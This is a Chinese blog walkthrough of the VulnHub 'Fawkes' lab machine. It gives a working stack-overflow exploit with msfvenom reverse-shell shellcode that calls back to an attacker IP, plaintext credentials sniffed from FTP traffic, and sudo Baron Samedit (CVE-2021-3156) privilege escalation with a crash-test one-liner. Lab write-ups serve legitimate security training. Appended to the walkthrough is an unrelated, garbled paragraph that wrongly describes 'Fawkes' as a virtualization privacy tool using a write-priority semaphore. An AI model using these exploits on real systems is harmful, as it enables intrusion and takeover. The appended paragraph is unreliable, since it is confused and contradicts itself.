Fawkes(vulnhub)

HarryPotter: Fawkes ~ VulnHub

此靶机难度高

目录

1.主机发现

2. 端口扫描

3.漏洞发现

Ftp

4.缓冲区溢出

使用edb调试server_hogwarts

攻击思路:

确定溢出位置:

5.反弹shell

构造exp

拿下靶机shell

升级shell

6.提权(信息收集)

信息收集

流量分析

提权

漏洞检测

漏洞利用

找网上的exp测试

​编辑

执行


1.主机发现

arp-scan -l

2. 端口扫描

nmap -p- 192.168.56.110
nmap -A 192.168.56.110

3.漏洞发现

进入主页,目录扫描→什么都没有

Ftp

ftp 192.168.56.110
anonymous
密码为空
一个文件下载下来

查看文件是什么:linux的可执行程序,那就执行。

chmod +x 文件
./文件

然后就没返回东西,既然在执行,那看下进程有什么

ps aux | grep server

发现了进程,那么看看进程有没有开放别的端口服务

ss -pantu | grep server

看到开放了9898端口,和靶机上的一样

看看自己这个端口有什么:什么也没有。

nc 127.0.0.1 9898

再看看靶机的端口会有什么:和本地一样的,没有收获

4.缓冲区溢出

使用edb调试server_hogwarts

kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。

cd /proc/sys/kernel
echo 0 > randomize_va_space   默认是 2
apt install edb-debugger

调试工具有gdb→命令行的工具,使用edb-debugger工具,更有利于使用

执行输入edb就可以了。

启动测试的服务。打开工具,找到服务,点击run

使用python输出500个A,然后在输入处进行测试

python -c "print('A'*500)"

结果调试器报错了,提示的0x414141意思就是 A

攻击思路:

我们可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。

确定溢出位置:

使用msf的生成500字符

msf-pattern_create -l 500

生成500个不同的字符序列

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

重启edb以及服务

输入上述500字符,报错内容如下:

找到字符位置:

msf-pattern_offset -l 500 -q 64413764

偏移量为112,那么从64413764就是从113开始的

再测试一次,从113换成B 也就是42 ,后面跟C。

python -c "print('A'*112+'BBBB'+'C'*100)"

结果显而易见。

我们可以构造脚本反弹shell了

寻找可执行权限的

find→找到jmp esp的位置

在机器指令中,需要反向写

08049d55
\x55\x9d\x04\x08

5.反弹shell

使用msfvenom生成python的十六进制payload

其中的x86是因为我们看到文件内容写的是32位,

-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.27 LPORT=4444 -b "\x00" -f python

 

buf =  b""
buf += b"\xbf\xab\x93\x7d\x8b\xda\xca\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04\x03\xd6\x9d\x9f"
buf += b"\x7e\x19\x79\xa8\x62\x0a\x3e\x04\x0f\xae\x49\x4b\x7f"
buf += b"\xc8\x84\x0c\x13\x4d\xa7\x32\xd9\xed\x8e\x35\x18\x85"
buf += b"\xd0\x6e\xe2\x33\xb9\x6c\x13\xaa\x65\xf8\xf2\x7c\xf3"
buf += b"\xaa\xa5\x2f\x4f\x49\xcf\x2e\x62\xce\x9d\xd8\x13\xe0"
buf += b"\x52\x70\x84\xd1\xbb\xe2\x3d\xa7\x27\xb0\xee\x3e\x46"
buf += b"\x84\x1a\x8c\x09"  

构造exp

其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xbf\xab\x93\x7d\x8b\xda\xca\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04\x03\xd6\x9d\x9f"
buf += b"\x7e\x19\x79\xa8\x62\x0a\x3e\x04\x0f\xae\x49\x4b\x7f"
buf += b"\xc8\x84\x0c\x13\x4d\xa7\x32\xd9\xed\x8e\x35\x18\x85"
buf += b"\xd0\x6e\xe2\x33\xb9\x6c\x13\xaa\x65\xf8\xf2\x7c\xf3"
buf += b"\xaa\xa5\x2f\x4f\x49\xcf\x2e\x62\xce\x9d\xd8\x13\xe0"
buf += b"\x52\x70\x84\xd1\xbb\xe2\x3d\xa7\x27\xb0\xee\x3e\x46"
buf += b"\x84\x1a\x8c\x09"  
 
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
    s=socket.socket()
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

重启程序,测试exp

执行成功:

这是对本机的测试

拿下靶机shell

升级shell

只能使用/bin/sh -i升级shell了

6.提权(信息收集)

看看目录:隐藏文件→有个可能是认证信息→查看

可能是密码
HarrYp0tter@Hogwarts123

拿harry和密码去登录ssh

22端口不行,还记得有个2222端口

是可行的

提权试试:发现自己在容器中

sudo -l
sudo -s    或者    sudo /bin/sh

信息收集

挨个目录查看信息:意思就是让我们看看ftp流量呗

流量分析

tcpdump -i eth0 port 21

 

等一会得到:

账号密码:neville bL!Bsg3k

成功进去

再次确定是否是docker中

提权

sudo -l
输入刚才的密码
但是没有权限使用sudo。

内核漏洞(CVE-2021-3156)

neville@Fawkes:~$ uname -a
Linux Fawkes 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux

可利用版本

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog

 Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and distributions are also likely to be exploitable.

查看靶机的版本信息:

lsb_release -a

No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

sudo --version

Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27

漏洞检测

sudoedit -s '\' `perl -e 'print "A" x 65536'` 
返回值:
malloc(): corrupted top size 
Aborted (core dumped) 

漏洞利用

使用MSF失败了

找网上的exp测试

CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub

修改sudo的位置(路径)

把我本地的文件传到靶机上:

不用http服务了→使用nc命令传

靶机执行

nc -nvlp 4444 > exp.py

kali上

nc 192.168.56.110 4444 < CVE-2021-2156.py   -w 1  //1秒断开

执行

成功提权

第二个flag

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fawkes是一种隐私保护工具,它的基本原理是使用虚拟化技术来保护用户的隐私。虚拟化是一种将物理实体转化为逻辑对应物的技术,它可以在一台物理机器上同时运行多个虚拟机。Fawkes利用虚拟化技术,在用户的设备上创建一个隐私保护的环境,将用户的数据和行为进行虚拟化处理,以保护用户的隐私。通过对数据和行为进行虚拟化处理,Fawkes可以防止潜在的隐私泄露风险,同时保护用户的个人信息、隐私偏好和行为数据不被滥用。Fawkes的基本原理是将用户的数据和行为虚拟化处理,从而保护用户的隐私。同时,Fawkes还采用了一些技术手段来保证写操作的顺利执行,例如设置了一个互斥信号量来保证写优先。这样可以保障在读文件源源不断的情况下,写操作能够正常进行。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [从“健康码”到数字货币,我国金融科技正迈向新阶段](https://blog.csdn.net/Digquant/article/details/115549849)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [2020-08-30](https://blog.csdn.net/Fawkess/article/details/108312214)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值